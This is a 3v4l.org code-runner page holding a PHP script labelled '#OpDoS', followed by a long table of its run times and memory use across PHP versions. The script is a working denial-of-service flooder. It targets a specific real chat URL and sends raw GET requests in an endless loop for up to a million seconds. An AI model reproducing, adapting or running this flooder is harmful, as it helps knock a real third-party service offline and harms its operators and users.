3v4l.org

run code in 300+ PHP versions simultaneously
<?php //Configs $config = array ( 'URL' => 'http://www.cyclad.pl/chat/', // URL of the target 'Limit' => 1000000, // how many sec/visit // Do not edit this... 'Version' => '1.0.0.0' ); //End of Configs $iTimeStamp = mktime(); $vString = '>##########################################################################'."\n <br>"; $vString .= '> #OpDoS v'.$config['Version']."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> URL: '.$config['URL']."\n <br>"; $vString .= '> Limit: '.$config['Limit'].' sec'."\n <br>"; $vString .= '>'."\n <br>"; $vString .= '> Started: '.date("h:m:s (d-M-Y)",$iTimeStamp)."\n <br>"; $vString .= '>##########################################################################'."\n <br>"; echo $vString; while (true) { _HTTP_Connect($config['URL']); if ((mktime()-$iTimeStamp)>$config['Limit']) {break;} } echo '> Finished: '.date("h:m:s (d-M-Y)",mktime()); function _HTTP_Connect($vURL) { $pURL = parse_url($vURL); $iPort = isset($pURL['port']) ? $pURL['port']:80; $TCPSocket = fsockopen($pURL['host'],$iPort); $TCPPacket = 'GET ' . $pURL['path'] . " HTTP/1.0\n"; $TCPPacket .= 'Host: ' . $pURL['host']; $TCPPacket .= "\n\n"; fwrite($TCPSocket,$TCPPacket); fclose($TCPSocket); } ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0120.00916.63
8.3.60.0140.00018.30
8.3.50.0150.00521.02
8.3.40.0070.00718.63
8.3.30.0070.00720.34
8.3.20.0080.00020.26
8.3.10.0080.00421.96
8.3.00.0080.00022.45
8.2.180.0120.00316.34
8.2.170.0150.00022.96
8.2.160.0030.01022.25
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00420.86
8.2.110.0030.00620.38
8.2.100.0060.00617.66
8.2.90.0040.00717.75
8.2.80.0000.00818.67
8.2.70.0030.00517.50
8.2.60.0030.00517.80
8.2.50.0000.00818.07
8.2.40.0080.00018.04
8.2.30.0060.00317.99
8.2.20.0040.00417.63
8.2.10.0060.00317.76
8.2.00.0000.00817.75
8.1.280.0070.00725.92
8.1.270.0060.00323.99
8.1.260.0020.00526.35
8.1.250.0050.00328.09
8.1.240.0090.00321.96
8.1.230.0070.00420.89
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0030.00617.35
8.1.190.0080.00017.23
8.1.180.0000.00818.10
8.1.170.0070.00018.86
8.1.160.0020.00518.88
8.1.150.0000.00718.54
8.1.140.0050.00217.30
8.1.130.0000.00717.86
8.1.120.0000.00717.31
8.1.110.0070.00017.40
8.1.100.0030.00517.46
8.1.90.0000.00717.41
8.1.80.0000.00817.30
8.1.70.0000.00717.36
8.1.60.0040.00417.53
8.1.50.0000.00717.43
8.1.40.0030.00617.49
8.1.30.0040.00417.64
8.1.20.0040.00417.63
8.1.10.0030.00517.56
8.1.00.0000.00817.46
8.0.300.0030.00618.77
8.0.290.0040.00416.88
8.0.280.0070.00018.33
8.0.270.0000.00717.14
8.0.260.0030.00316.77
8.0.250.0000.00717.01
8.0.240.0000.00716.99
8.0.230.0030.00416.89
8.0.220.0050.00316.93
8.0.210.0070.00016.98
8.0.200.0070.00016.91
8.0.190.0040.00417.04
8.0.180.0040.00417.02
8.0.170.0040.00416.84
8.0.160.0000.00716.94
8.0.150.0000.00716.91
8.0.140.0070.00016.95
8.0.130.0030.00313.32
8.0.120.0020.00516.83
8.0.110.0070.00016.86
8.0.100.0070.00017.02
8.0.90.0030.00516.85
8.0.80.0070.00716.91
8.0.70.0000.00716.95
8.0.60.0040.00416.87
8.0.50.0080.00016.87
8.0.30.0020.01717.13
8.0.20.0100.01017.40
8.0.10.0000.00716.95
8.0.00.0110.00816.82
7.4.330.0030.00315.00
7.4.320.0000.00816.54
7.4.300.0000.00816.66
7.4.290.0040.00416.59
7.4.280.0030.00516.61
7.4.270.0040.00416.74
7.4.260.0070.00013.61
7.4.250.0030.00716.66
7.4.240.0090.00916.80
7.4.230.0070.01416.65
7.4.220.0350.01516.73
7.4.210.0200.01416.72
7.4.200.0140.00316.87
7.4.190.0080.00816.67
7.4.160.0440.01416.83
7.4.150.0380.01117.40
7.4.140.0400.01517.86
7.4.130.0420.01416.74
7.4.120.0320.02316.89
7.4.110.0160.02116.88
7.4.100.0340.00616.80
7.4.90.0410.00916.73
7.4.80.0110.02719.39
7.4.70.0460.02116.92
7.4.60.0820.00916.86
7.4.50.0260.00516.71
7.4.40.0170.01622.77
7.4.30.0350.01917.01
7.4.00.0230.01314.92
7.3.330.0000.00713.72
7.3.320.0000.00613.69
7.3.310.0070.00316.57
7.3.300.0100.00716.61
7.3.290.0510.02316.71
7.3.280.0250.01516.64
7.3.270.0320.02517.40
7.3.260.0590.01716.66
7.3.250.0420.01816.67
7.3.240.0390.00616.75
7.3.230.0210.01516.77
7.3.210.0590.00916.68
7.3.200.0340.03519.39
7.3.190.0350.02716.78
7.3.180.0260.00316.96
7.3.170.0470.01416.95
7.3.160.0430.02416.75
7.3.120.0120.01315.34
7.2.330.0510.01516.94
7.2.320.0150.01617.07
7.2.310.0680.02716.86
7.2.300.0410.02316.93
7.2.290.0210.00916.99
7.2.80.0180.01416.97
7.2.60.0110.01217.11
7.2.00.0230.00719.84
7.1.200.0310.00016.19
7.1.100.0110.01118.39
7.1.70.0000.00917.45
7.1.60.0110.00519.32
7.1.50.0070.01517.57
7.1.00.0130.03722.80
7.0.200.0050.00517.49
7.0.140.0270.07022.40
7.0.100.0130.03720.37
7.0.90.0130.05020.45
7.0.80.0170.08720.45
7.0.70.0230.07720.33
7.0.60.0170.06320.23
7.0.50.0200.08720.80
7.0.40.0370.07320.30
7.0.30.0200.04020.42
7.0.20.0170.07020.53
7.0.10.0300.08320.50
7.0.00.0300.08020.52
5.6.280.0070.08021.20
5.6.250.0170.04320.87
5.6.240.0170.07021.17
5.6.230.0430.07020.92
5.6.220.0130.03720.94
5.6.210.0200.08020.76
5.6.200.0200.09321.48
5.6.190.0300.05321.47
5.6.180.0100.08321.35
5.6.170.0030.04721.23
5.6.160.0230.08021.23
5.6.150.0130.08021.25
5.6.140.0170.08321.45
5.6.130.0100.07721.47
5.6.120.0130.05021.50
5.6.110.0330.07721.23
5.6.100.0130.08321.48
5.6.90.0130.07721.56
5.6.80.0100.09020.78
5.6.70.0230.07320.76
5.6.60.0170.09020.59
5.6.50.0330.08020.89
5.6.40.0270.07720.58
5.6.30.0100.07720.94
5.6.20.0170.08020.73
5.6.10.0330.07720.85
5.6.00.0130.08320.82
5.5.380.0130.04020.93
5.5.370.0500.05320.91
5.5.360.0200.06320.92
5.5.350.0330.08020.82
5.5.340.0270.05321.16
5.5.330.0370.04721.18
5.5.320.0270.05721.34
5.5.310.0300.05321.28
5.5.300.0100.07021.27
5.5.290.0330.08321.29
5.5.280.0200.06721.36
5.5.270.0230.07021.39
5.5.260.0270.06321.16
5.5.250.0270.06320.86
5.5.240.0270.06320.76
5.5.230.0270.06320.70
5.5.220.0230.06720.73
5.5.210.0200.08720.61
5.5.200.0330.07320.72
5.5.190.0130.07320.58
5.5.180.0370.05320.64
5.5.160.0330.08020.73
5.5.150.0330.04720.61
5.5.140.0370.06320.52
5.5.130.0400.06320.63
5.5.120.0170.07720.65
5.5.110.0400.05320.55
5.5.100.0270.05720.59
5.5.90.0270.07020.38
5.5.80.0300.05720.47
5.5.70.0300.06020.49
5.5.60.0300.05720.64
5.5.50.0370.05320.46
5.5.40.0170.05720.51
5.5.30.0400.07020.46
5.5.20.0300.05720.41
5.5.10.0400.06320.57
5.5.00.0530.07320.60
5.4.450.0170.06019.96
5.4.440.0300.05319.66
5.4.430.0330.04719.52
5.4.420.0270.04719.94
5.4.410.0330.05019.52
5.4.400.0300.04719.63
5.4.390.0270.07319.30
5.4.380.0330.05019.41
5.4.370.0400.04019.37
5.4.360.0130.09719.60
5.4.350.0330.05019.45
5.4.340.0270.06019.30
5.4.320.0200.05019.63
5.4.310.0270.06019.36
5.4.300.0430.05319.62
5.4.290.0370.05719.39
5.4.280.0330.07719.62
5.4.270.0230.05319.62
5.4.260.0370.07319.39
5.4.250.0200.06019.61
5.4.240.0130.07019.30
5.4.230.0300.05319.34
5.4.220.0200.07019.35
5.4.210.0600.03719.37
5.4.200.0200.05019.59
5.4.190.0100.06319.59
5.4.180.0170.06719.36
5.4.170.0500.05019.38
5.4.160.0300.05019.17
5.4.150.0170.05319.31
5.4.140.0230.04316.76
5.4.130.0230.04716.89
5.4.120.0330.04716.76
5.4.110.0270.05016.93
5.4.100.0270.04716.75
5.4.90.0200.05316.88
5.4.80.0200.04716.90
5.4.70.0270.05716.71
5.4.60.0130.06716.89
5.4.50.0300.07016.72
5.4.40.0300.05016.81
5.4.30.0270.05016.80
5.4.20.0570.05016.63
5.4.10.0170.06716.71
5.4.00.0170.04716.20
5.3.290.0270.05314.69
5.3.280.0230.06014.53
5.3.270.0230.06014.68
5.3.260.0330.06714.77
5.3.250.0170.07014.82
5.3.240.0130.05314.77
5.3.230.0300.06714.65
5.3.220.0200.05314.63
5.3.210.0200.05714.62
5.3.200.0170.06014.67
5.3.190.0330.05314.64
5.3.180.0370.05314.50
5.3.170.0270.05714.72
5.3.160.0300.05714.67
5.3.150.0200.06014.66
5.3.140.0170.05714.58
5.3.130.0170.06014.64
5.3.120.0170.05714.53
5.3.110.0300.04714.53
5.3.100.0170.05714.11
5.3.90.0400.04314.18
5.3.80.0230.05714.03
5.3.70.0270.04713.95
5.3.60.0170.05014.07
5.3.50.0230.05314.11
5.3.40.0370.03713.88
5.3.30.0270.04714.01
5.3.20.0270.04713.85
5.3.10.0330.04013.82
5.3.00.0270.05313.70
5.2.170.0100.04711.15
5.2.160.0230.05011.20
5.2.150.0230.05011.07
5.2.140.0230.04311.19
5.2.130.0130.04011.03
5.2.120.0230.04011.17
5.2.110.0200.04311.13
5.2.100.0170.03711.14
5.2.90.0200.05311.12
5.2.80.0200.06011.13
5.2.70.0270.05311.12
5.2.60.0230.04011.13
5.2.50.0170.03011.21
5.2.40.0070.03311.19
5.2.30.0170.03311.10
5.2.20.0200.03011.08
5.2.10.0100.03010.98
5.2.00.0200.06310.91
5.1.60.0100.02310.30
5.1.50.0100.03010.30
5.1.40.0100.02710.30
5.1.30.0100.02010.36
5.1.20.0100.02710.36
5.1.10.0070.02710.30
5.1.00.0100.03010.30
5.0.50.0270.0278.61
5.0.40.0130.0338.52
5.0.30.0170.0478.24
5.0.20.0170.02010.30
5.0.10.0100.02310.30
5.0.00.0100.02310.30
4.4.90.0100.02710.30
4.4.80.0130.01710.30
4.4.70.0070.02010.30
4.4.60.0100.02010.30
4.4.50.0170.01010.30
4.4.40.0130.02310.30
4.4.30.0070.01710.30
4.4.20.0200.02310.30
4.4.10.0130.01310.30
4.4.00.0070.03010.30
4.3.110.0070.02010.30
4.3.100.0030.01710.30
4.3.90.0000.02710.30
4.3.80.0130.03010.30
4.3.70.0070.01310.30
4.3.60.0130.01310.30
4.3.50.0030.02010.30
4.3.40.0070.03010.30
4.3.30.0130.02010.30
4.3.20.0100.02010.30
4.3.10.0000.01710.30
4.3.00.0000.01310.30

preferences:
61.03 ms | 401 KiB | 5 Q